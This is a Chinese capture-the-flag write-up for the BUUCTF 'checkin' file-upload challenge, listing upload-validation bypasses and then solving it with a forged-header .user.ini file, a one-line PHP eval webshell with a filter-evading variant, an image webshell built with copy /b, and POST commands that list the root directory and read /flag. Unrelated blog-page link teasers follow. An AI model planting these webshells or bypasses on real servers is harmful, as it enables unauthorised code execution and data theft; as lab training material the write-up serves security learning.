BUUCTF--checkin
文件上传
文件上传一般验证方式:
1.本地js验证(客户端)
2.MIME验证(服务端)
3.拓展名验证(服务端)
4.脚本内容(文件头)验证(服务端)
通常会用到exif_imagetype()函数,这个函数会读取图片头并返回一个数组
绕过方法:
1.本地js验证
方法很多,直接f12删除限制的代码再提交表单
2.mime验证
抓包修改content-type的内容就行了 一般这个验证对应得验证代码如下
$_FILES['upfile']['type'] == 'image/gif' //png、jpg.....
3.拓展名验证
多找一些,尝试找到有没有服务器漏掉得,比如php5,php7
大小写看能否能绕过
0x00绕过
4.文件头验证
修改文件头
JPG :FF D8 FF E0 00 10 4A 46 49 46 //参考文章https://blog.csdn.net/weixin_44077544/article/details/102688564
PNG: 89 50 4E 47 //参考文章https://blog.csdn.net/weixin_44077544/article/details/102688564
GIF(相当于文本的GIF89a):47 49 46 38 39 61 //参考文章https://blog.csdn.net/weixin_44077544/article/details/102688564
上传图片马
###但注意一个问题,上传图片马直接访问还是不能执行代码,因为根本不会调用php解析器去解析,一般要配合文件包含漏洞,或者是解析漏洞
##文件上传漏洞一般会和解析漏洞相结合,比如iis6.0就有一个漏洞会把.cer文件当作php执行,这种类似得解析漏洞可以在网上寻找
参考一片文件上传得绕过博客:
https://blog.csdn.net/ncafei/article/details/53401961
回到这道题:
随手丢一张图片,发现返回一串数组
可以猜测这里采用得是文件头验证,可以制作图片马绕过。
但是,图片马需要配合解析漏洞或者是文件包含漏洞,这里用到.uesr.ini配置文件制造了一个文件漏洞 //这道题没有限制 相似漏洞还有apache得.htaccess文件修改解析规则
https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html
推荐这个文章,里面讲到怎么利用
上传.user.ini文件 ##但是注意这里需要伪造文件头

上传一句话图片木马
第一次一句话我写得<?php @eval($_POST['a'])?>

发现 <?被过滤 ,这里只需要还一句话就行了 <script language="php">eval($_POST['a']);</script>

//图片转载 kk师傅 https://www.yuque.com/kkdlong/arhmr1/rv2kpf#MjehS
上传后上传图片马 制作方法
cmd copy /b 1.jpg+1.txt test.jpg //注意图片名要和user.ini里面得文件名相同
然后上传
然后直接菜刀连接拿到答案

或者直接输入命令 post a=var_dump(scandir("/"));

a=var_dump(file_get_contents("/flag"));

BUUCTF--checkin的更多相关文章
- BUUCTF | [SUCTF 2019]CheckIn
感觉这题师傅们已经写得很详细了,我就做一个思路梳理吧,顺道学一波.user.ini 步骤: 1.上传一个“.user.ini”文件 2.上传自己的马“a.jpg” 3.菜刀连接 "http: ...
- BUUCTF 部分wp
目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...
- BUUCTF知识记录
[强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...
- BUUCTF Crypto_WP(2)
BUUCTF Crypto WP 几道密码学wp [GXYCTF2019]CheckIn 知识点:Base64,rot47 下载文件后,发现一个txt文件,打开发现一串base64,界面之后出现一串乱 ...
- 奇葩问题:This file could not be checked in because the original version of the file on the server was moved or deleted. A new version of this file has been saved to the server, but your check-in comments were not saved
"This file could not be checked in because the original version of the file on the server was m ...
- 持续集成之戏说Check-in Dance
尽管Thoughtworks的首席科学家Martion folwer 为“持续集成 ” 下了定义,但由于自身背景与经历的不同,每个人对其都有不同的理解.从狭义上讲,持续集成可以认为是一种基于某种或者某 ...
- TFS二次开发06——签入(CheckIn)
一个Item 就是一个文件或文件夹 using Microsoft.TeamFoundation.Client; using Microsoft.TeamFoundation.VersionContr ...
- 持续集成之戏说Check-in Dance(转)
add by zhj: 先说一下持续集成的定义,这是ThoughtWorks首席科学家Martin Fowler在<持续集成>第二版中给出的,“持续集成是一种软件开发实践.在持续集成中,团 ...
- because its MIME type ('text/html') is not a supported stylesheet MIME type, and strict MIME checkin
1 前言 浏览器报错误(chrome和firefox都会):because its MIME type ('text/html') is not a supported stylesheet MIME ...
- 刷题记录:[BUUCTF 2018]Online Tool
目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...
随机推荐
- 【JavaScript】使用document.write输出覆盖HTML问题
您只能在 HTML 输出中使用 document.write.如果您在文档加载后使用该方法,会覆盖整个文档. 分析 HTML输出流是指当前数据形式是HTML格式的数据,这部分数据正在被导出.传输或显示 ...
- linux基础学习(一)常用命令:date、pwd、cd、cal、who、wc等等
目录 @(基础命令) Tab键是linux系统中最重要的键之一了,它的功能是命令自动补全== [root@localhost ~]#date 1.用于显示当前的日期和时间 2/用于显示当前的日历 [r ...
- MySQL 部署分布式架构 MyCAT (五)
分片(水平拆分) 4.全局表 业务使用场景: 如果你的业务中有些数据类似于数据字典,比如配置文件的配置, 常用业务的配置或者数据量不大很少变动的表,这些表往往不是特别大, 而且大部分的业务场景都会用到 ...
- JAVA反射(资源版)
关于JAVA反射的作用可以看这篇博客(说的很详尽): https://www.cnblogs.com/jqyp/archive/2012/03/29/2423112.html 下面是关于JAVA反射的 ...
- prometheus operator的深度好文
转: https://www.servicemesher.com/blog/prometheus-operator-manual/
- STL ——map、set、unordered_map、unordered_set
1.map和set map和set底层实现均是红黑树 map支持下标操作,set不支持下标操作. set的迭代器是const的,不允许修改元素的值:map允许修改value,但不允许修改key. se ...
- 使用appium过程中常遇到的坑以及解决方案
立志踩遍所有的坑...以下是学appium遇到的坑以及解决方案,方便自己的同时,也方便他人. 一.cmd输入:aapt dump badging C:\Users\XX\Desktop\xxx.apk ...
- CF915E Physical Education Lessons 珂朵莉树
问题描述 CF915E LG-CF915E 题解 \(n \le 10^9\) 看上去非常唬人. 但是这种区间操作的题,珂朵莉树随便跑啊. \(\mathrm{Code}\) #include< ...
- LG3205/BZOJ1996 「HNOI2010」合唱队 区间DP
区间DP 区间DP: 显然是一个区间向左右拓展形成的下一个区间,具有包含关系,所以可以使用区间DP. 状态设计: 考虑和关路灯一样设计状态 因为不知道当前这个区间是从哪个区间拓展而来,即不知道这个区间 ...
- Python Singleton Pattern(单例模式)
简介 单例模式(Singleton Pattern)是一种常用的软件设计模式,该模式的主要目的是确保某一个类只有一个实例存在.当你希望在整个系统中,某个类只能出现一个实例时,单例对象就能派上用场. 当 ...